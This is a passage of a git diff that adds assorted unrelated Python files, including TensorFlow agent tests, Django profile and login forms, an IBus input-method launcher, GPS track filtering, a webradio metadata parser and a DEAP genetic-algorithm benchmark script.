utils.add_time_batch_dim(env_output) + agent_output, _ = self._agent(env_output, initial_agent_state) + initial_agent_state = ([ + (tf.random.normal([self.batch_size, + 512]), tf.random.normal([self.batch_size, 512])), + (tf.random.normal([self.batch_size, + 512]), tf.random.normal([self.batch_size, 512])) + ], tf.random.normal([self.batch_size, 5, 512])) + agent_output, _ = self._agent(self._test_environment, initial_agent_state) + self.assertEqual(agent_output.policy_logits.shape, [3, self.batch_size]) + + @parameterized.named_parameters( + ('Regular_mask', False, True, False), + ('Regular_mask_init0', False, False, False), + ('Regular_mask_avg_states', False, False, True), + ('Zero_mask', True, True, False), + ('Zero_mask_avg_states', True, True, True),) + def test_call_v2(self, zero_mask, init_with_text_state, avg_all_img_states): + self._get_agent('v2', init_with_text_state, avg_all_img_states) + if zero_mask: + disc_mask = np.tile(np.array([[False]] * 3), [1, self.batch_size]) + observation = self._test_environment.observation + observation[constants.DISC_MASK] = disc_mask + self._test_environment._replace(observation=observation) + + env_output = self._env.reset() + observation = tf.nest.map_structure(lambda t: tf.expand_dims(t, 0), + env_output.observation) + initial_agent_state = self._agent.get_initial_state( + observation, batch_size=1) + # Tests batch_size =1 for actor's scenario. + # Agent always expects time,batch dimensions. First add and then remove. + env_output = utils.add_time_batch_dim(env_output) + agent_output, _ = self._agent(env_output, initial_agent_state) + # Output shape = [time, batch, ...] + self.assertEqual(agent_output.policy_logits['similarity'].shape, [1, 1, 1]) + self.assertEqual(agent_output.policy_logits['labels'].shape, [1, 1]) + self.assertEqual(agent_output.baseline.shape, [1, 1]) + + # Remove time-batch dims for single env_output (i.e., batch=1, timestep=1). + env_output, agent_output = utils.remove_time_batch_dim(env_output, + agent_output) + self.assertEqual(agent_output.policy_logits['similarity'].shape, [1]) + self.assertEqual(agent_output.policy_logits['labels'].shape, []) + self.assertEqual(agent_output.baseline.shape, []) + + # Tests with custom states and env. + initial_input_state = [(tf.random.normal([self.batch_size, 512]), + tf.random.normal([self.batch_size, 512])), + (tf.random.normal([self.batch_size, 512]), + tf.random.normal([self.batch_size, 512]))] + text_enc_output = tf.random.normal([self.batch_size, 5, 512]) + initial_agent_state = (initial_input_state, + (text_enc_output, + tf.nest.map_structure(tf.identity, + initial_input_state))) + + agent_output, _ = self._agent(self._test_environment, initial_agent_state) + + # Note that the agent_output has an extra time dim. + self.assertEqual(agent_output.policy_logits['similarity'].shape, + [1, self.batch_size, self.batch_size]) + self.assertEqual(agent_output.policy_logits['similarity_mask'].shape, + [1, self.batch_size, self.batch_size]) + self.assertEqual(agent_output.policy_logits['labels'].shape, + [1, self.batch_size]) + self.assertEqual(agent_output.baseline.shape, [1, self.batch_size]) + + if zero_mask: + expected_similarity_mask = [[[True, True], [True, True]]] + expected_labels = [[0.0, 0.0]] + else: + expected_similarity_mask = [[[True, True], [True, True]]] + expected_labels = [[1.0, 0.0]] + self.assertAllEqual(agent_output.policy_logits['similarity_mask'], + expected_similarity_mask) + self.assertAllEqual(agent_output.policy_logits['labels'], expected_labels) + + +if __name__ == '__main__': + tf.enable_v2_behavior() + tf.test.main() diff --git a/pool/shard000/Python/0008230_main.py b/pool/shard000/Python/0008230_main.py new file mode 100644 index 0000000000000000000000000000000000000000..b5a42835f22ea20591f29cb6600728b7d33a9097 --- /dev/null +++ b/pool/shard000/Python/0008230_main.py @@ -0,0 +1,108 @@ +# vim: set fileencoding=utf-8 : +# +# ibus-plover - Plover support for Input Bus +# +# Copyright (c) 2013-2014 Benoit Pierre +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +from gi.repository import IBus +from gi.repository import GLib +from gi.repository import GObject + +import os +import sys +import getopt +import locale +import logging + +from config import DATA_DIR +from engine import EnginePlover + +class IMApp: + + def __init__(self, exec_by_ibus): + component = IBus.Component.new_from_file('%s/plover.xml' % DATA_DIR) + self.__component = component + self.__mainloop = GLib.MainLoop() + self.__bus = IBus.Bus() + self.__bus.connect("disconnected", self.__bus_disconnected_cb) + self.__factory = IBus.Factory.new(self.__bus.get_connection()) + self.__factory.add_engine('plover', GObject.type_from_name("EnginePlover")) + if exec_by_ibus: + self.__bus.request_name("org.freedesktop.IBus.Plover", 0) + else: + self.__bus.register_component(self.__component) + + def run(self): + self.__mainloop.run() + + def __bus_disconnected_cb(self, bus): + self.__mainloop.quit() + + +def launch_engine(exec_by_ibus): + IBus.init() + IMApp(exec_by_ibus).run() + +def print_help(out, v = 0): + print >> out, "-i, --ibus executed by IBus." + print >> out, "-h, --help show this message." + print >> out, "-d, --daemonize daemonize ibus" + sys.exit(v) + +def main(): + try: + locale.setlocale(locale.LC_ALL, "") + except: + pass + + exec_by_ibus = False + daemonize = False + + shortopt = "ihd" + longopt = ["ibus", "help", "daemonize"] + + try: + opts, args = getopt.getopt(sys.argv[1:], shortopt, longopt) + except getopt.GetoptError, err: + print_help(sys.stderr, 1) + + for o, a in opts: + if o in ("-h", "--help"): + print_help(sys.stdout) + elif o in ("-d", "--daemonize"): + daemonize = True + elif o in ("-i", "--ibus"): + exec_by_ibus = True + else: + print >> sys.stderr, "Unknown argument: %s" % o + print_help(sys.stderr, 1) + + if daemonize: + if os.fork(): + sys.exit() + + if not exec_by_ibus and not daemonize: + logging.basicConfig() + logging.getLogger('ibus.plover').setLevel(logging.DEBUG) + else: + logging.basicConfig(filename='/tmp/ibus-plover.log', level=logging.DEBUG) + + launch_engine(exec_by_ibus) + +if __name__ == "__main__": + main() + diff --git a/pool/shard000/Python/0008237_forms.py b/pool/shard000/Python/0008237_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..07a85918dc6e1a73d521458aac70568a26c3e54f --- /dev/null +++ b/pool/shard000/Python/0008237_forms.py @@ -0,0 +1,103 @@ +# -*- coding: utf-8 -*- +""" +This module contains the forms for profile editing by a secretary and +als for the manager to search for a secretary. + +:subtitle:`Class definitions:` +""" +from django import forms +from django.utils.translation import ugettext_lazy as _ + +from apps.account.forms import BaseProfileEditForm, BasePasswordProfileEditForm +from apps.healthperson.healthprofessional.models import SPECIALISM_CHOICES +from core.forms import BaseForm + + +class SecretarySearchForm(BaseForm): + ''' + Search for a secretary by last_name or specialism, used + by a manager. + ''' + last_name = forms.CharField( + max_length=128, label=_('Achternaam'), required=False) + specialism = forms.TypedChoiceField( + label=_('Specialisme'), required=False) + + def __init__(self, *args, **kwargs): + super(SecretarySearchForm, self).__init__(*args, **kwargs) + + # Set specialism list + specialism_choices = list(SPECIALISM_CHOICES) + specialism_choices.insert(0, ('', '---------')) + self.fields['specialism'].choices = specialism_choices + + +class SecretaryEditForm(BasePasswordProfileEditForm): + ''' + Edit secretary profile/personalia form + ''' + specialism = forms.TypedChoiceField(label=_('Specialisme'), required=True) + + def __init__(self, *args, **kwargs): + super(SecretaryEditForm, self).__init__(*args, **kwargs) + + # Set specialism list + specialism_choices = list(SPECIALISM_CHOICES) + specialism_choices.insert(0, ('', '---------')) + self.fields['specialism'].choices = specialism_choices + + if self.instance: + self.fields['specialism'].initial =\ + self.instance.healthperson.specialism + + # Minimal age is 16, so remove the last 16 year choices.. + self.fields['date_of_birth'].years =\ + self.fields['date_of_birth'].years[:-16] + self.fields['date_of_birth'].widget.years =\ + self.fields['date_of_birth'].years + + class Meta(BasePasswordProfileEditForm.Meta): + exclude = BasePasswordProfileEditForm.Meta.exclude + ( + 'BSN', 'local_hospital_number', + 'hospital',) + fieldsets = ( + (None, {'fields': ('title', 'first_name', + 'initials', 'last_name', + 'prefix', 'gender', 'date_of_birth',)}), + (None, {'fields': ('mobile_number', 'mobile_number2', + 'email', 'email2')}), + (None, {'fields': ('specialism', 'change_password')}), + ('change_password', {'fields': ('password', 'password2')}), + ) + + +class SecretaryAddForm(BaseProfileEditForm): + ''' + Add new secretary form + ''' + specialism = forms.TypedChoiceField(label=_('Specialisme'), required=True) + + def __init__(self, *args, **kwargs): + super(SecretaryAddForm, self).__init__(*args, **kwargs) + + # Set specialism list + specialism_choices = list(SPECIALISM_CHOICES) + specialism_choices.insert(0, ('', '---------')) + self.fields['specialism'].choices = specialism_choices + + # Minimal age is 16, so remove the last 16 year choices.. + self.fields['date_of_birth'].years =\ + self.fields['date_of_birth'].years[:-16] + self.fields['date_of_birth'].widget.years =\ + self.fields['date_of_birth'].years + + class Meta(BaseProfileEditForm.Meta): + exclude = BaseProfileEditForm.Meta.exclude + fieldsets = ( + (None, {'fields': ('title', 'first_name', 'initials', + 'last_name', + 'prefix', 'gender', 'date_of_birth')}), + (None, {'fields': ('mobile_number', 'mobile_number2', + 'email', 'email2', + 'specialism')}), + ) diff --git a/pool/shard000/Python/0008240_track.py b/pool/shard000/Python/0008240_track.py new file mode 100644 index 0000000000000000000000000000000000000000..38d893aa92848034455dc9a5dd00cb51ab96ec72 --- /dev/null +++ b/pool/shard000/Python/0008240_track.py @@ -0,0 +1,78 @@ +# +# AnTrak - Activity and location data analysis +# +# Copyright (C) 2017-2018 by Artur Wroblewski +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +import itertools +from toolz.itertoolz import sliding_window + +from antrak.dao import track as track_dao +from antrak.db import tx +from antrak.nmea import parse_pos +from antrak.util import flatten + +FMT_TRACK_LIST = '{:%Y-%m-%d} {} {}'.format + +def filter_quality(positions): + """ + Filter out bad quality positions. + + 3D, good positions are kept - for `good` definition see Wikipedia + article about `dilution of precision + `_. + """ + return ( + p for p in positions + if p.properties['is_3d'] + and p.properties['hdop'] < 5 + and p.properties['vdop'] < 5 + and p.properties['pdop'] < 5 + ) + +def check_altitude_speed(p1, p2): + td = abs(p2.properties['timestamp'] - p1.properties['timestamp']).total_seconds() + # TODO: make time difference and altitude speed limits configurable + return td >= 10 or abs(p2.z - p1.z) / td < 10 + +def filter_altitude_speed(positions): + return ( + p1 for p1, p2 in sliding_window(2, positions) + if check_altitude_speed(p2, p1) + ) + +@tx +def save_pos(dev, files): + positions = flatten(parse_pos(open(fn)) for fn in files) + positions = (p for p in positions if p) + positions = filter_quality(positions) + positions = filter_altitude_speed(positions) + return track_dao.save_pos(dev, positions) + +@tx +async def track_set(dev, trip, name, start, end): + start, end = await track_dao.find_period(dev, start, end) + task = await track_dao.add(dev, trip, name, start, end) + return task + +@tx +async def track_list(dev, query=''): + data = await track_dao.track_list(dev, query=query) + for item in data: + print(FMT_TRACK_LIST(item['start'], item['trip'], item['name'])) + +# vim: sw=4:et:ai + diff --git a/pool/shard000/Python/0008244_16.py b/pool/shard000/Python/0008244_16.py new file mode 100644 index 0000000000000000000000000000000000000000..c5ee325104bebdd78916fc59da28cd88b276890e --- /dev/null +++ b/pool/shard000/Python/0008244_16.py @@ -0,0 +1,36 @@ +from cachetools import cached +from math import sqrt + + +# @cached(cache={}) +def divisors(n): + divs = {1, n} + + for x in range(2, int(sqrt(n))+1): + if n % x == 0: + divs.add(x) + divs.add(n // x) + + return divs + + +def test_divisors(): + assert divisors(12) == {1, 2, 3, 4, 6, 12} + + +if __name__ == '__main__': + c = 0 + for x in range(2, 1000000): + divs = divisors(x) + s = sum(divs) + + if s > 2*x: + diff = s - 2*x + f = sqrt(diff) + + if int(f)**2 == diff: + c += 1 + print(x, c) + + print("---") + print(c) diff --git a/pool/shard000/Python/0008248_webradio.py b/pool/shard000/Python/0008248_webradio.py new file mode 100644 index 0000000000000000000000000000000000000000..71d7944041c0874fab25eab3ebf7b1500c393155 --- /dev/null +++ b/pool/shard000/Python/0008248_webradio.py @@ -0,0 +1,106 @@ +# -*- coding: iso-8859-1 -*- +# ----------------------------------------------------------------------------- +# webradio.py - read webradio attributes +# ----------------------------------------------------------------------------- +# $Id: webradio.py 2581 2007-03-22 14:16:50Z tack $ +# +# ----------------------------------------------------------------------------- +# kaa-Metadata - Media Metadata for Python +# Copyright (C) 2003-2006 Thomas Schueppel, Dirk Meyer +# +# First Edition: Thomas Schueppel +# Maintainer: Dirk Meyer +# +# Please see the file AUTHORS for a complete list of authors. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of MER- +# CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +# Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program; if not, write to the Free Software Foundation, Inc., +# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# +# ----------------------------------------------------------------------------- + +from __future__ import absolute_import + +__all__ = ['Parser'] + +# python imports +import urlparse +import string +import urllib + +# import kaa_metadata.audio core +from . import core + + +# http://205.188.209.193:80/stream/1006 + +ICY = { 'icy-name': 'title', + 'icy-genre': 'genre', + 'icy-br': 'bitrate', + 'icy-url': 'caption' + } + +class WebRadio(core.Music): + + table_mapping = { 'ICY' : ICY } + + def __init__(self, url): + core.Music.__init__(self) + tup = urlparse.urlsplit(url) + scheme, location, path, query, fragment = tup + if scheme != 'http': + raise core.ParseError() + + # Open an URL Connection + fi = urllib.urlopen(url) + + # grab the statusline + self.statusline = fi.readline() + try: + statuslist = string.split(self.statusline) + except ValueError: + # assume it is okay since so many servers are badly configured + statuslist = ["ICY", "200"] + + if statuslist[1] != "200": + if fi: + fi.close() + raise core.ParseError() + + self.type = 'audio' + self.subtype = 'mp3' + # grab any headers for a max of 10 lines + linecnt = 0 + tab = {} + lines = fi.readlines(512) + for linecnt in range(0,11): + icyline = lines[linecnt] + icyline = icyline.rstrip('\r\n') + if len(icyline) < 4: + break + cidx = icyline.find(':') + if cidx != -1: + # break on short line (ie. really should be a blank line) + # strip leading and trailing whitespace + tab[icyline[:cidx].strip()] = icyline[cidx+2:].strip() + if fi: + fi.close() + self._appendtable('ICY', tab) + + + def _finalize(self): + core.Music._finalize(self) + self.bitrate = string.atoi(self.bitrate)*1000 + + +Parser = WebRadio diff --git a/pool/shard000/Python/0008251_orders.py b/pool/shard000/Python/0008251_orders.py new file mode 100644 index 0000000000000000000000000000000000000000..a278a1470ddf859b44996859792ce1ad7a1948ca --- /dev/null +++ b/pool/shard000/Python/0008251_orders.py @@ -0,0 +1,70 @@ +"""Order dummy data.""" + +from store.orders.models import Order +# from store.orders.models import OrderConsistsOf + + +# Orders +o1 = Order('cid1') +o2 = Order('cid2') +o3 = Order('cid3') +o4 = Order('cid4') +o5 = Order('cid5') +o6 = Order('cid6') +o7 = Order('cid7') +o8 = Order('cid8') +o9 = Order('cid9') +o10 = Order('cid10') +o11 = Order('cid1') +o12 = Order('cid1') +o13 = Order('cid1') +o14 = Order('cid2') +o15 = Order('cid7') +o16 = Order('cid7') +o17 = Order('cid7') +o18 = Order('cid3') + + +# oco1 = OrderConsistsOf(o1.id'9780439139595', 3) +# oco2 = OrderConsistsOf(o2.id'9780345803498', 5) +# oco3 = OrderConsistsOf(o3.id'9780345803498', 1) +# oco4 = OrderConsistsOf(o4.id'9780345803481', 2) +# oco5 = OrderConsistsOf(o5.id'9780545139700', 5) +# oco6 = OrderConsistsOf(o6.id'9780439358071', 4) +# oco7 = OrderConsistsOf(o7.id'9780439139595', 5) +# oco8 = OrderConsistsOf(o8.id'9780439784542', 3) +# oco9 = OrderConsistsOf(o9.id'9780439784542', 5) +# oco10 = OrderConsistsOf(o10.id'9780439784542', 15) + + +sample_list = [] +# Orders +sample_list.append(o1) +sample_list.append(o2) +sample_list.append(o3) +sample_list.append(o4) +sample_list.append(o5) +sample_list.append(o6) +sample_list.append(o7) +sample_list.append(o8) +sample_list.append(o9) +sample_list.append(o10) +sample_list.append(o11) +sample_list.append(o12) +sample_list.append(o13) +sample_list.append(o14) +sample_list.append(o15) +sample_list.append(o16) +sample_list.append(o17) +sample_list.append(o18) +# OrderConsistsOf +# sample_list.append(oco1) +# sample_list.append(oco2) +# sample_list.append(oco3) +# sample_list.append(oco4) +# sample_list.append(oco5) +# sample_list.append(oco6) +# sample_list.append(oco7) +# sample_list.append(oco8) +# sample_list.append(oco9) +# sample_list.append(oco10) \ No newline at end of file diff --git a/pool/shard000/Python/0008255_file_reader.py b/pool/shard000/Python/0008255_file_reader.py new file mode 100644 index 0000000000000000000000000000000000000000..65fbf5afed7af3e3ca650a95fd804022faf9092e --- /dev/null +++ b/pool/shard000/Python/0008255_file_reader.py @@ -0,0 +1,47 @@ +"""This module's scope covers abstractions related to file format readers. +""" +__version__ = "0.1.1" +__changelog = { + "0.1.1": {"Tuna": "0.16.5", "Change": "PEP8 and PEP257 compliance."}, + "0.1.0": {"Tuna": "0.13.0", "Change": "improved documentation."} +} + +import logging +import sys + +class FileReader(object): + """This class is responsible for abstracting common features of the file + readers in a single code artifact. + + It is not meant to be user-serviceable. + """ + def __init__(self, *args, **kwargs): + super(FileReader, self).__init__(*args, **kwargs) + self.log = logging.getLogger(__name__) + + self._image_ndarray = None + self._is_readable = False + + def get_image_ndarray(self): + """Return the array containing the image data. + + Returns: + + * self._image_ndarray : numpy.ndarray : defaults to None + Contains the current data for this reader. This should be set by + derived classes. + """ + self.log.debug("%s %s" % (sys._getframe().f_code.co_name, + sys._getframe().f_code.co_varnames)) + + return self._image_ndarray + + def is_readable(self): + """Check if the input file is readable. + + Returns: + + * self._is_readable : bool : defaults to False + True if the file is readable; should be set by derived classes. + """ + return self._is_readable diff --git a/pool/shard000/Python/0008256_dicti.py b/pool/shard000/Python/0008256_dicti.py new file mode 100644 index 0000000000000000000000000000000000000000..ef656ec158f87d3f4db955005bef74603af8ff95 --- /dev/null +++ b/pool/shard000/Python/0008256_dicti.py @@ -0,0 +1,20 @@ +de2nl = {"eins" : "een", "zwei" : "twee", "drei" : "drie", "vier" : "vier", "fünf" : "vijf", "sechs" : "zes"} +print(de2nl) + +for key in de2nl: + print(key, de2nl[key]) + +print(len(de2nl)) + +ziffern = de2nl.values() +print("zes" in ziffern) + +t = de2nl.items() +print(t) + +s = de2nl.keys() +print(s) + +for key in de2nl.keys(): + print(key) + diff --git a/pool/shard000/Python/0008257_get_user_info.py b/pool/shard000/Python/0008257_get_user_info.py new file mode 100644 index 0000000000000000000000000000000000000000..42873d4712afb946f821aea77c9f37dea59b1c94 --- /dev/null +++ b/pool/shard000/Python/0008257_get_user_info.py @@ -0,0 +1,59 @@ +import requests +import json +import urllib2 +import urllib +import pandas as pd +from threading import Thread + +if __name__ == '__main__': + with open('appcreds.txt', 'r') as credfile: + uid, secret = credfile.read().splitlines() + + r = requests.post("https://api.intra.42.fr/oauth/token", data={'grant_type': 'client_credentials', 'client_id': uid, 'client_secret': secret}) + r.raise_for_status() + access_token = json.loads(r.text)['access_token'] + print(access_token) + df = pd.read_csv('users_url.csv') + people = [] + + #Threding function to append users info to output list 'people' + def recrod_info(user_url): + + #python3 implementation + #f = urllib.request.urlopen(user_url+('?access_token=%s' % (access_token))) + + #python2 implementation + f = urllib2.urlopen(user_url+('?access_token=%s' % (access_token))) + + people.append(json.loads(f.read())) + + + #Multi-thread recording with external loop reducing number of threads to not overflood API with requests + req_slower = 20 + length = len(df) + for count in range(req_slower): + threads = [] + print("Recording: %d%%" % int(count * 100 / req_slower)) + + #Multi-threading to speed-up user info gathering from API + for i in range((length * count) // req_slower, (length * (count + 1)) // req_slower): + count += 1 + process = Thread(target=recrod_info, args=[df['url'][i]]) + process.start() + threads.append(process) + + #Join is improtant before starting another process threading batch or world will go topsy turvy + for process in threads: + process.join() + print("Recording completed") + + #output as json + with open('users_info.txt', 'w') as outfile: + json.dump(people, outfile) + + #output as DataFrame + #df = pd.DataFrame(pd.read_json(json.dumps(people))) + #df.to_csv('users_info.csv') + + #print(pd.read_csv('users_info.csv')) + diff --git a/pool/shard000/Python/0008267_benchmarks-gamodelF1.py b/pool/shard000/Python/0008267_benchmarks-gamodelF1.py new file mode 100644 index 0000000000000000000000000000000000000000..83c7f7951e52c75e65b1b694cd14f23e3c8a65c7 --- /dev/null +++ b/pool/shard000/Python/0008267_benchmarks-gamodelF1.py @@ -0,0 +1,232 @@ +#!/usr/bin/python +# This file is part of DEAP. +# +# DEAP is free software: you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License as +# published by the Free Software Foundation, either version 3 of +# the License, or (at your option) any later version. +# +# DEAP is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with DEAP. If not, see . +import sys +import array +import random +from deap import base +from deap import creator +from deap import tools +import fgeneric +import numpy as np +from operator import attrgetter + +import bbobbenchmarks as bn + +toolbox = base.Toolbox() +creator.create("FitnessMin", base.Fitness, weights=(-1.0,)) +creator.create("Individual", array.array, typecode="d", + fitness=creator.FitnessMin) +# pool = multiprocessing.Pool() +# toolbox.register("map", futures.map) + + +def tupleize(func): + """A decorator that tuple-ize the result of a function. This is useful + when the evaluation function returns a single value. + """ + def wrapper(*args, **kargs): + return func(*args, **kargs), + return wrapper + + +def main(func, + NGEN, + CXPB, + MUTPB, + dim, + ftarget, + tournsize, + n_aval, + ): + toolbox.register("attr_float", random.random) + toolbox.register("select", tools.selTournament, tournsize=tournsize) + toolbox.register( + "mutate", + tools.mutGaussian, + mu=0, + sigma=1, + indpb=0.1 + ) + # mutShuffleIndexes + stats = tools.Statistics(key=lambda ind: ind.fitness.values) + stats.register("avg", np.mean) + stats.register("std", np.std) + stats.register("min", np.min) + stats.register("max", np.max) + # calculating the number of individuals of the + # populations based on the number of executions + y = int(n_aval / NGEN) + x = n_aval - y * NGEN + n = x + y + + toolbox.register("evaluate", func) + toolbox.decorate("evaluate", tupleize) + toolbox.register("attr_float", random.uniform, -4, 4) + toolbox.register("mate", tools.cxSimulatedBinaryBounded, eta = 0, low= -4, up = 4) + toolbox.register("individual", tools.initRepeat, creator.Individual, + toolbox.attr_float, dim) + toolbox.register("population", tools.initRepeat, list, toolbox.individual) + + logbook = tools.Logbook() + logbook.header = "gen", "min", "avg", "max", "std" + pop = toolbox.population(n) + # get initial pop + filename = ("../pseudo-adaptative/init_pop_f" + + str(f_name) + + "_dim_" + + str(dim) + + "_tournsize_2.txt") + if((np.DataSource().exists(filename)) is True): + with open(filename, 'r') as f: + a = eval(f.readline()) + f.close() + for index in range(len(pop[0])): + pop[0][index] = a[index] + # Evaluate the entire population + # 2 model.bins: real data, generated model + fitnesses = list(toolbox.map(toolbox.evaluate, pop)) + # numero_avaliacoes = len(pop) + # normalize fitnesses + # fitnesses = normalizeFitness(fitnesses) + for ind, fit in zip(pop, fitnesses): + ind.fitness.values = fit + + for g in range(NGEN): + # Select the next generation individuals + offspring = toolbox.select(pop, len(pop)) + # create offspring + offspring = list(toolbox.map(toolbox.clone, pop)) + # Apply crossover and mutation on the offspring + for child1, child2 in zip(offspring[::2], offspring[1::2]): + if random.random() < CXPB: + toolbox.mate(child1, child2) + del child1.fitness.values + del child2.fitness.values + for mutant in offspring: + if random.random() < MUTPB: + toolbox.mutate(mutant) + del mutant.fitness.values + # Evaluate the individuals with an invalid fitness + invalid_ind = [ind for ind in offspring if not ind.fitness.valid] + fitnesses = list(toolbox.map(toolbox.evaluate, invalid_ind)) + for ind, fit in zip(invalid_ind, fitnesses): + ind.fitness.values = fit + # The population is entirely replaced by the offspring, + # but the last ind replaced by best_pop + # Elitism + best_pop = tools.selBest(pop, 1)[0] + offspring = sorted(offspring, key=attrgetter("fitness")) + offspring[0] = best_pop + random.shuffle(offspring) + pop[:] = offspring + record = stats.compile(pop) + logbook.record(gen=g, **record) + if record["std"] < 10e-12: + best_pop = tools.selBest(pop, 1)[0] + pop = toolbox.population(n) + pop = sorted(pop, key=attrgetter("fitness")) + pop[0] = best_pop + fitnesses = list(toolbox.map(toolbox.evaluate, pop)) + for ind, fit in zip(pop, fitnesses): + ind.fitness.values = fit + g += 1 + record = stats.compile(pop) + logbook.record(gen=g, **record) + filename = ("../SBX/init_pop_f" + + str(f_name) + + "_dim_" + + str(dim) + + "_tournsize_2.txt") + if((np.DataSource().exists(filename)) is False): + with open(filename, "w") as myfile: + for element in best_pop: + myfile.write(str(element)) + myfile.write(str(', ')) + myfile.write(str('\n')) + myfile.close() + return logbook + + +if __name__ == "__main__": + for i in range(len(sys.argv) - 1): + if (sys.argv[i] == '-params'): + gaParams = sys.argv[i + 1] + elif (sys.argv[i] == '-tournsize'): + tournsize = int(sys.argv[i + 1]) + + f = open(gaParams, "r") + keys = ['key', 'NGEN', 'n_aval', 'CXPB', 'MUTPB', 'dim', 'seed', 'tournsize'] + + params = dict() + for line in f: + if line[0] == '#': + continue + tokens = line.split() + for key, value in zip(keys, tokens): + if key == 'key': + params[key] = value + elif key == 'CXPB' or key == 'MUTPB': + params[key] = float(value) + else: + params[key] = int(value) + f.close() + # Maximum number of restart for an algorithm that detects stagnation + + # Create a COCO experiment that will log the results under the + # ./output directory + e = fgeneric.LoggingFunction('output') + + # Iterate over all desired test dimensions + # for dim in (2, 3, 5, 10, 20, 40): + dim = params['dim'] + # Set the maximum number function evaluation granted to the algorithm + # This is usually function of the dimensionality of the problem + + # Iterate over a set of benchmarks (noise free benchmarks here) + # for f_name in bn.nfreeIDs: + f_name = 1 + # Iterate over all the instance of a single problem + # Rotation, translation, etc. + # for instance in chain(range(1, 6), range(21, 31)): + instance = 1 + # Set the function to be used (problem) in the logger + e.setfun(*bn.instantiate(f_name, iinstance=1)) + + # Independent restarts until maxfunevals or ftarget is reached + # Run the algorithm with the remaining + # number of evaluations + # random.seed(params['seed']) + logbook = main(e.evalfun, + NGEN=params['NGEN'], + CXPB=params['CXPB'], + MUTPB=params['MUTPB'], + dim=dim, + n_aval=params['n_aval'], + tournsize=tournsize, + ftarget=e.ftarget) + + filename = ("../SBX/f" + + str(f_name) + + "_dim_" + + str(dim) + + "_tournsize_" + + str(tournsize) + + ".txt") + + with open(filename, "a") as myfile: + myfile.write(str(logbook)) + myfile.write(str('\n')) + myfile.close() \ No newline at end of file diff --git a/pool/shard000/Python/0008279_forms.py b/pool/shard000/Python/0008279_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..b5555e50cfafc56ec82335a24f15f336744591bb --- /dev/null +++ b/pool/shard000/Python/0008279_forms.py @@ -0,0 +1,84 @@ +''' +See https://docs.djangoproject.com/en/dev/topics/forms/ for details. +''' + +from django import forms +from graphs.util import db + +class LoginForm(forms.Form): + ''' + Login Form used to show login fields in GraphSpace webpages. + This form is located within the top navbar. + ''' + + # attrs to specify extra html attributes + user_id = forms.CharField(max_length=100, required=False, widget=forms.TextInput(attrs={'placeholder': 'Email', 'class': 'form-control', 'size': '13', 'id': 'email'})) + pw = forms.CharField(required=False, widget=forms.PasswordInput(attrs={'placeholder': 'Password', 'class': 'form-control', 'size': '13', 'id': 'pw'})) + +class SearchForm(forms.Form): + ''' + Search form used to perform search on GraphSpace + ''' + + def __init__(self, *args, **kwargs): + ''' + Initialize the form. A keyword argument 'placeholder' may be + given. + + This can be customized to specify additional parameters if it + needs to. + ''' + if 'placeholder' in kwargs: + self.placeholder = kwargs.pop('placeholder') + # must be called after 'placeholder' is popped from kwargs + super(SearchForm, self).__init__(*args, **kwargs) + self.fields['search'].widget = forms.TextInput(attrs={'placeholder': self.placeholder, 'class': 'form-control', 'type': 'text', 'name': 'search'}) + else: + super(SearchForm, self).__init__(*args, **kwargs) + self.fields['search'].widget = forms.TextInput(attrs={'class': 'form-control', 'type': 'text', 'name': 'search'}) + + search = forms.CharField(required=False, label='', max_length=100) + +class RegisterForm(forms.Form): + ''' + Register form to help create an account for a new user. + ''' + + user_id = forms.CharField(required=False, label='Email', max_length=100, + widget=forms.TextInput(attrs={'class': 'form-control', 'type': 'text', 'size': '25', 'id': 'user_id'})) + password = forms.CharField(required=False, label='Password', widget=forms.PasswordInput(attrs={'class': 'form-control', 'size': '25', 'id': 'password'})) + verify_password = forms.CharField(required=False, label='Verify Password', widget=forms.PasswordInput(attrs={'class': 'form-control', 'size': '25', 'id': 'verify_password'})) + + def clean_user_id(self): + ''' + Form validation to check if the user id already exist + in the database. + + https://docs.djangoproject.com/en/1.6/ref/forms/validation/#cleaning-a-specific-field-attribute + ''' + cleaned_data = super(RegisterForm, self).clean() + user_id = cleaned_data["user_id"] + + check_user = db.emailExists(user_id) + + if check_user == None: + return user_id + else: + return None + + def clean(self): + ''' + Form validation to check if two passwords provided are + equivalent. + + https://docs.djangoproject.com/en/1.6/ref/forms/validation/#cleaning-a-specific-field-attribute + ''' + cleaned_data = super(RegisterForm, self).clean() + pw = cleaned_data.get("password") + vpw = cleaned_data.get("verify_password") + + if pw and vpw: + if pw != vpw: + raise forms.ValidationError("Passwords do not match.") + + return cleaned_data \ No newline at end of file diff --git a/pool/shard000/Python/0008282_Receiver.py b/pool/shard000/Python/0008282_Receiver.py new file mode 100644 index 0000000000000000000000000000000000000000..20e967a5512dbaf7317a232f765bc33d00bdcbb4 --- /dev/null +++ b/pool/shard000/Python/0008282_Receiver.py @@ -0,0 +1,45 @@ +import numpy as np + +from View import View + +class Receiver(object): + + def __init__(self, 